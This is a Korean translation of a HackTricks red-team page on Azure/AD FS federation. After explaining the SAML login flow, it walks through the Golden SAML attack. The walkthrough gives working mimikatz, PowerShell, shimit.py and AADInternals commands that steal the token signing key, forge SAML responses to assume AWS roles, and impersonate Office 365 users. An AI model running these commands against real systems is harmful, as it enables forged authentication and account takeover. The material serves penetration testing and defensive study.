Az - Federation

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서:**연맹(Federation)**은 신뢰를 확립한 도메인들의 모음입니다. 신뢰 수준은 다양할 수 있지만 일반적으로 인증을 포함하며 거의 항상 인가를 포함합니다. 전형적인 연맹은 공유 액세스를 위해 신뢰를 확립한 여러 조직을 포함할 수 있습니다.

온프레미스 환경을 Azure AD와 연맹하고 이 연맹을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 인증이 온프레미스에서 발생함을 보장합니다. 이 방법을 사용하면 관리자가 더 엄격한 수준의 액세스 제어를 구현할 수 있습니다. AD FS 및 PingFederate와의 연맹이 가능합니다.

기본적으로 연맹에서 모든 인증온프레미스 환경에서 발생하며 사용자는 신뢰하는 모든 환경에서 SSO를 경험합니다. 따라서 사용자는 온프레미 자격 증명을 사용하여 클라우드 응용 프로그램에 액세스할 수 있습니다.

**보안 주장 표시 언어(SAML)**은 제공자 간에 모든 인증 및 권한 부여 정보를 교환하는 데 사용됩니다.

어떤 연맹 설정에서는 세 가지 당사자가 있습니다:

  • 사용자 또는 클라이언트

  • 신원 제공자(IdP)

  • 서비스 제공자(SP)

(이미지 출처: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. 먼저 사용자가 응용 프로그램(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 액세스합니다. 특정 구현에 따라 클라이언트를 직접 IdP(신원 제공자)로 이동시켜 이 단계를 생략할 수 있습니다.

  2. 그런 다음 SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SP는 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 다시 라우팅합니다.

  3. IdP가 사용자를 인증합니다. 인증 후 IdP는 SAMLResponse를 작성하고 사용자를 통해 SP로 전달합니다.

  4. 마지막으로 SP는 SAMLResponse를 평가합니다. IdP와의 신뢰 관계를 나타내는 성공적인 유효성 검사가 있으면 사용자에게 액세스 권한이 부여됩니다. 이로써 로그인 프로세스가 완료되어 사용자가 서비스를 활용할 수 있게 됩니다.

SAML 인증 및 일반적인 공격에 대해 자세히 알아보려면:

Pivoting

  • AD FS는 주장 기반 신원 모델입니다.

  • "..주장은 사용자에 대해 만들어진 주장(예: 이름, 신원, 그룹)으로, 인터넷 어디에서든 주장 기반 애플리케이션에 액세스 권한을 부여하는 데 주로 사용됩니다."

  • 사용자의 주장은 SAML 토큰 내에 작성되고 IdP에 의해 기밀성을 제공하기 위해 서명됩니다.

  • 사용자는 ImmutableID에 의해 식별됩니다. 이는 전역적으로 고유하며 Azure AD에 저장됩니다.

  • ImmutableID는 사용자의 GUID에서 파생될 수 있습니다.

Golden SAML 공격:

Golden SAML

**신원 제공자(IdP)**가 사용자 로그인을 승인하기 위해 SAMLResponse를 생성하는 과정이 중요합니다. IdP의 특정 구현에 따라 응답IdP의 개인 키를 사용하여 서명 또는 암호화될 수 있습니다. 이 절차는 SP가 SAMLResponse의 신뢰성을 확인하여 신뢰할 수 있는 IdP에서 발급되었음을 보장합니다.

이는 골든 티켓 공격과 유사하며, 사용자의 신원과 권한을 인증하는 키(KRBTGT의 경우 골든 티켓, 골든 SAML의 경우 토큰 서명 개인 키)를 조작하여 인증 객체(TGT 또는 SAMLResponse)를 위조할 수 있습니다. 이를 통해 어떤 사용자든 흉내를 내어 SP에 무단 액세스할 수 있습니다.

골든 SAML은 다음과 같은 이점을 제공합니다:

  • 원격으로 생성될 수 있으며 해당 도메인이나 연맹의 일부가 되어야 할 필요가 없습니다.

  • **이중 인증(2FA)**이 활성화된 상태에서도 효과적입니다.

  • 토큰 서명 개인 키가 자동으로 갱신되지 않습니다.

  • 사용자의 비밀번호를 변경해도 이미 생성된 SAML을 무효화하지 않습니다.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS)는 신뢰하는 비즈니스 파트너(연맹) 간에 신원 정보를 안전하게 교환하는 데 도움이 되는 Microsoft 서비스입니다. 이는 도메인 서비스가 연맹 내에서 다른 서비스 제공자와 사용자 신원을 공유할 수 있도록 합니다.

AWS가 연맹 내의 침해된 도메인을 신뢰하는 경우, 이 취약점을 활용하여 AWS 환경에서 어떤 권한이든 획득할 수 있습니다. 이 공격에는 SAML 객체에 서명하는 데 사용된 개인 키가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 액세스하면 이 개인 키를 얻을 수 있습니다.

골든 SAML 공격을 실행하기 위한 요구 사항은 다음과 같습니다:

  • 토큰 서명 개인 키

  • IdP 공개 인증서

  • IdP 이름

  • 역할 이름(가정할 역할)

  • 도메인\사용자 이름

  • AWS에서의 역할 세션 이름

  • Amazon 계정 ID

굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 작성할 수 있습니다.

개인 키를 획들하기 위해서는 AD FS 사용자 계정에 액세스해야 합니다. 거기서 mimikatz와 같은 도구를 사용하여 개인 키를 개인 저장소에서 내보낼 수 있습니다. 다른 필요한 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 사용하여 다음과 같이 로그인된 상태로 ADFS 사용자로 로그인해야 합니다:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

모든 정보를 갖고 있으면 shimit를 사용하여 피해자로 위장할 수 있는 유효한 SAMLResponse를 잊을 수 있습니다:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

온프레미스 -> 클라우드

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

클라우드 전용 사용자의 ImmutableID를 생성하고 그들을 표절하는 것도 가능합니다.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

最終更新